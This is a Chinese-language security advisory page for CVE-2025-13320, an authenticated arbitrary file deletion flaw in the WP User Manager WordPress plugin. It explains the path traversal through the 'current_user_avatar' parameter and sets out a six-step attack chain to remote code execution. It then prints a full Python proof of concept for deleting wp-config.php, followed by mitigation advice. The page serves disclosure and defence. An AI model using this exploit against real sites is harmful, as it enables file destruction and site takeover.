IPBUF安全漏洞报告
English
CVE-2025-13320 CVSS 6.8 中危

CVE-2025-13320 WordPress WP User Manager插件任意文件删除漏洞

披露日期: 2025-12-12

漏洞信息

漏洞编号
CVE-2025-13320
漏洞类型
任意文件删除
CVSS评分
6.8 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WP User Manager (WordPress插件)

相关标签

任意文件删除路径遍历WordPress插件WP User ManagerCVE-2025-13320远程代码执行认证用户漏洞输入验证不足

漏洞概述

WP User Manager是WordPress平台上广泛使用的用户管理插件,用于管理用户档案、注册、登录等功能。该插件在2.9.12及以下所有版本中存在严重的安全漏洞,攻击者可利用此漏洞删除服务器上的任意文件。漏洞的根本原因在于用户资料更新功能中对用户提供的文件路径验证不足,同时PHP的filter_input()函数在处理数组输入时存在设计缺陷。攻击者通过构造恶意请求,利用'current_user_avatar'参数即可触发文件删除操作。由于WordPress等CMS系统的核心文件可能被删除,此漏洞在特定条件下可被利用实现远程代码执行(RCE),对网站安全构成严重威胁。此漏洞仅影响启用了自定义头像设置的WordPress站点。

技术细节

漏洞存在于WP User Manager插件的文件处理逻辑中,具体位置在includes/forms/trait-wpum-account.php的第70、75、86行代码。漏洞产生的技术原因主要有两点:1)插件在处理用户上传的头像文件路径时缺乏严格的输入验证,允许攻击者通过路径遍历(Path Traversal)技术指定任意文件路径;2)PHP的filter_input()函数在接收数组类型的输入时存在安全缺陷,无法正确过滤恶意构造的路径字符串。攻击者以订阅者(Subscriber)级别权限登录后,可通过profile update功能发送精心构造的请求,将current_user_avatar参数设置为目标文件路径(如../../../../wp-config.php),触发unlink()或类似文件删除函数执行。成功删除wp-config.php等关键配置文件后,攻击者可重新安装WordPress并获取管理员权限,最终实现远程代码执行。由于该漏洞需要认证才能利用,且需站点开启自定义头像功能,因此攻击复杂度相对较高,但仍应尽快修复。

攻击链分析

STEP 1
Reconnaissance
识别目标WordPress网站并确认安装了WP User Manager插件(版本<=2.9.12),检查自定义头像功能是否启用
STEP 2
Authentication
使用订阅者级别或更高权限的账户登录WordPress(任何注册用户均满足权限要求)
STEP 3
Payload Preparation
构造包含路径遍历序列的current_user_avatar参数值,如../../../wp-config.php,指向目标删除文件
STEP 4
Exploitation
通过profile update功能发送恶意请求,利用插件对文件路径验证不足的缺陷触发任意文件删除
STEP 5
Impact Escalation
删除wp-config.php等关键配置文件后,重新安装WordPress获取管理员权限,或删除.htaccess等文件进行进一步攻击
STEP 6
Remote Code Execution
通过文件管理器上传恶意PHP脚本或修改主题文件,最终实现服务器远程代码执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-13320 PoC - WP User Manager Arbitrary File Deletion # Target: WordPress site with WP User Manager plugin <= 2.9.12 # Authentication required: Subscriber-level or higher # Prerequisite: Custom avatar setting must be enabled def delete_arbitrary_file(target_url, username, password, file_to_delete): """ Exploit for CVE-2025-13320: Arbitrary File Deletion in WP User Manager Args: target_url: Base URL of the WordPress site username: Valid user account (subscriber level minimum) password: Password for the account file_to_delete: Absolute path or relative path of file to delete """ session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/" } response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Update profile with malicious avatar path # Using path traversal to delete arbitrary files profile_url = f"{target_url}/wp-admin/profile.php" # Construct malicious payload using current_user_avatar parameter # Path traversal: ../../../wp-config.php or similar malicious_path = "../../../" + file_to_delete.lstrip("/") profile_data = { 'first_name': 'Test', 'last_name': 'User', 'nickname': username, 'display_name': username, 'email': '[email protected]', 'url': '', 'action': 'update', 'nonce': '', # Need to fetch valid nonce 'current_user_avatar': malicious_path } response = session.post(profile_url, data=profile_data) if response.status_code == 200: print(f"[+] File deletion request sent: {file_to_delete}") print("[!] Verify file deletion manually") return True else: print("[-] Request failed") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> <file_to_delete>") print(f"Example: python {sys.argv[0]} http://example.com admin password ../../../wp-config.php") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] file_path = sys.argv[4] delete_arbitrary_file(target, user, pwd, file_path)

影响范围

WP User Manager < 2.9.13 (所有2.x版本均受影响)

防御指南

临时缓解措施
在无法立即升级插件的情况下,可采取以下临时缓解措施:1)暂时禁用自定义头像功能;2)限制新用户注册,仅允许可信用户访问;3)通过.htaccess或Nginx配置限制用户访问profile更新接口;4)部署Web应用防火墙规则拦截包含路径遍历序列(../)的请求参数;5)对wp-config.php等关键文件设置只读权限或将其移动到Web根目录之外;6)启用WordPress文件的完整性检查和自动备份功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表